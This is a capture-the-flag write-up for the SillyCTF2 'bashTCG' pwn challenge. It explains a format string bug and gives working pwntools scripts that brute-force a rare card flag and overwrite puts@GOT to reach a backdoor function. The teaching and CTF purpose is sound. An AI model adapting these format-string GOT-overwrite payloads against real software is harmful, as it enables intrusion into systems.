← Back to list

SillyCTF2: bashTCG (pwn) write-up

Introduction

pwnxr777 · 2026-04-08 20:38 · 132 claps · 6.2 min read
#sillyctf2 #pwn #format-string-exploit #format-string-vuln
Open on Medium ↗

SillyCTF2: bashTCG (pwn) write-up

Introduction

Hello all! This is my write-up for bashTCG from SillyCTF 2. I try to give as much information as possible so that I make sure I really understand what I do and in hope that someone out there could benefit from this (not to train AI though xD)

We are given only one file: bashTCG. Let’s try to gather some info about it.

Reconnaissance

Usual checks:

┌─[pwnxr777@parrot]─[~/Desktop/vr/ctfs/sillyCTF]
└──╼ $file bashTCG; checksec file bashTCG
bashTCG: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=0d6c4c3ff2ca908bf9e04c1d1c7872ccb770f753, for GNU/Linux 3.2.0, not stripped

  _____ _    _ ______ _____ _  __ _____ ______ _____
 / ____| |  | |  ____/ ____| |/ // ____|  ____/ ____|
| |    | |__| | |__ | |    | ' /| (___ | |__ | |
| |    |  __  |  __|| |    |  <  \___ \|  __|| |
| |____| |  | | |___| |____| . \ ____) | |___| |____
 \_____|_|  |_|______\_____|_|\_\_____/|______\_____|

RELRO           Stack Canary      CFI               NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY    Fortified   Fortifiable      Name                            
Partial RELRO   No Canary Found   Unknown           NX enabled    PIE Disabled    No RPATH   No RUNPATH   66 symbols      No         0           5                bashTCG   

So, it is a: 32-bit, dynamically linked and with almost no security?

  • Partial RELRO means that got.plt (real address of the libc functions used in the program) is writable.
  • No Canary means that there is no guard for the stack -> we can abuse buffer overflow to overwrite things.
  • NX enabled means that the stack isn’t executable so we cannot just put our shell code there.
  • PIE Disabled means that memory segments like .text, .data ..etc are loaded into static locations.

Static and Dynamic Analysis

Run the program:

The program gives us a menu of actions we can perform: o to open/create a new card (with random values), r to rename a card by its index, s to print a certain card by its index, and l to list all cards.

Reversing:

We can see the main function alongside the 4 key functions of the program, but..

Looking closely we can see an interesting function name: backdoor!

So, that’s our hidden gem! The author is so generous to leave us a function that gives us a shell. ONLY IF we could redirect the program execution to it - a typical ret2win:)

Looking for BOF

We have an executable with win function and no canary, what do we think of? BOF to overwrite saved EIP.

Getting back to IDA to see how the program reads input:

  • At main: it has the variable s for card index with size 32 and reads it with: fgets(s, 32, stdin) which means it’s safe.
  • It does the same at rename_card for taking s using fgets.
  • It does a safe memcpy at print_card_stats too.

After searching for a while at the decompiled code I could not find any scenario where I can Buffer Overflow, but “When one door closes, another opens” :)

Format String Vulnerability

Looking closely at the print_card_stats function, we can notice two different ways to print a variable:

printf("Card #%d\n", a1);
...
printf((const char *)dest);

The first one takes the a1 variable and prints it using the format specifier %d, while the second passes the variable directly, meaning that it will be treated as the format string itself.

This is a format string vulnerability that gives us the ability to leak memory addresses and write data using format specifiers like %p and %n.

Therefore, what we need is to control a card’s name using the r option at the main menu to put our payload there.

What will be our payload? Remember that our goal is to redirect the program execution to the backdoor function. Since we have Partial RELRO and libc functions used in the program, the plan is to overwrite some function address (in the got.plt table) such that when it’s called, instead of doing what it is intended to do, it will call our win function:)

Crafting the Payload and Bad Surprise

So we will create a new card, rename it with our payload and trigger it using the print_card_stats function.

What we need to do first though is to get the offset of our input on the stack:

Reality check :( seems like the rename card function doesn’t work as expected, and it only allows a 10-char name. Let’s get back to the code at the rename function:

result = fgets(s, 100, stdin);
...
if ( *((_DWORD *)*(&cards + v2) + 32) == 1 )
  strcpy((char *)*(&cards + v2) + 10, s);
else
  strncpy((char *)*(&cards + v2) + 10, s, 0xAu);

The program checks for a specific flag value at the card. If it’s 1, it edits the name with up to 100 bytes, otherwise it only edits with 10 bytes using strncpy function, which puts limits for the copy size (safe).

Digging deeper to find out how to make that flag equal to one in the open_card_pack function:

v2 = rand() % 40 == 1;
s = (char *)malloc(0x84u);
if ( v2 )
{
  puts(&byte_804A324);
  *((_DWORD *)s + 32) = 1;
}
else
{
  *((_DWORD *)s + 32) = 0;
}

It generates a random number in the range [0, 39] and sets that flag to 1 only if that number is one. That’s 1/40 chance so that’s our python scripting time xD

Finding a Mega Card!

A mega card is a card where the special flag is set to 1. We will start our solve by trying to find one and calculating the offset for our input.

from pwn import *

elf = context.binary = ELF('./bashTCG')
context.log_level = 'debug'
p = process()

def get_mega_card():
    p.recvuntil(b"Exit\n")
    time.sleep(0.1)
    for i in range(100):
        p.sendline(b"o")
        output = p.recvuntil(b"--- Main Menu ---")
        if b"You found a MEGA card!" in output:
            log.success(f"Found MEGA Card at index {i}")
            p.recvuntil(b"Exit\n")
            time.sleep(0.1)
            return i

mega_idx = get_mega_card()
payload = b"AAAA" + b" %p" * 20

p.sendline(b"r")
time.sleep(0.1)
p.sendline(str(mega_idx).encode())
time.sleep(0.1)
p.sendline(payload)
time.sleep(0.1)
p.sendline(b"s")
time.sleep(0.1)
p.sendline(str(mega_idx).encode())
p.recvuntil(b"Nickname: ")
leak_data = p.recvline().decode().strip()

log.success(f"Leak Output:\n{leak_data}")
p.interactive()

Running it:

We can see our A’s (0x41 in hex) are at offset 7 on the stack!

Almost there..

Finishing the Solve

Now we have got all the pieces, we can finalize out solve!

There are two ways: using pwn tools fmtstr_payload or doing it manually.

For the sake of learning we will do it in both ways :)

For the fmtstr_payload way:

offset = 7
puts_got = elf.got['puts']
backdoor_addr = elf.symbols['backdoor']
payload = fmtstr_payload(offset, {puts_got: backdoor_addr})

For the manual way:

We will need to get the address for puts@got and backdoor at first:

Now crafting the payload!

puts = 0x0804c038
backdoor = 0x08049ba2
payload  = b"%1$2052c%15$hn%1$37790c%16$hnABC"
payload += p32(puts+2)
payload += p32(puts) 

I will try to explain this as best as I can:)

  • %n is used to write the number of bytes printed so far into a specific memory address (stored on the stack).
  • The plan is to print a number of bytes equal to the backdoor address value, and put that value into the puts GOT entry.
  • Since 0x08049ba2 is a large number to be printed we will divide it into two parts (don’t forget about little-endianness).
  • We will first print 0x0804 bytes and put them in the address+2 (remember that the least bytes are stored first).
  • Then we will print 0x9ba2–0x0804 bytes and write the total number (0x9ba2) to the beginning of the address.
  • What happens next is whenever the program tries to call the puts function it will look for its address at the got.plt (which we already poisoned) and call our backdoor!

To send the payload (after the first part above):

'''
offset = 7
puts_got = elf.got['puts']
backdoor_addr = elf.symbols['backdoor']
payload = fmtstr_payload(offset, {puts_got: backdoor_addr})
'''

puts = 0x0804c038
backdoor = 0x08049ba2
payload  = b"%1$2052c%15$hn%1$37790c%16$hnABC"
payload += p32(puts+2)
payload += p32(puts) 

p.sendline(b"r")
time.sleep(0.1)
p.sendline(str(mega_idx).encode())
time.sleep(0.1)
p.sendline(payload)
time.sleep(0.1)

log.info("Triggering thg payload")
p.sendline(b"s")
time.sleep(0.1)
p.sendline(str(mega_idx).encode())
p.interactive()

PWNED

After removing the debug mode*

Note that all these empty spaces are the bytes we are printing*


메타데이터
post_id
f6eded3d496e
slug
sillyctf2-bashtcg-pwn-write-up-f6eded3d496e
url
https://medium.com/@pwnxr777/sillyctf2-bashtcg-pwn-write-up-f6eded3d496e
canonical_url
https://medium.com/@pwnxr777/sillyctf2-bashtcg-pwn-write-up-f6eded3d496e
author_url
https://medium.com/@pwnxr777
status
ok
fetched_at
2026-06-25 16:53:31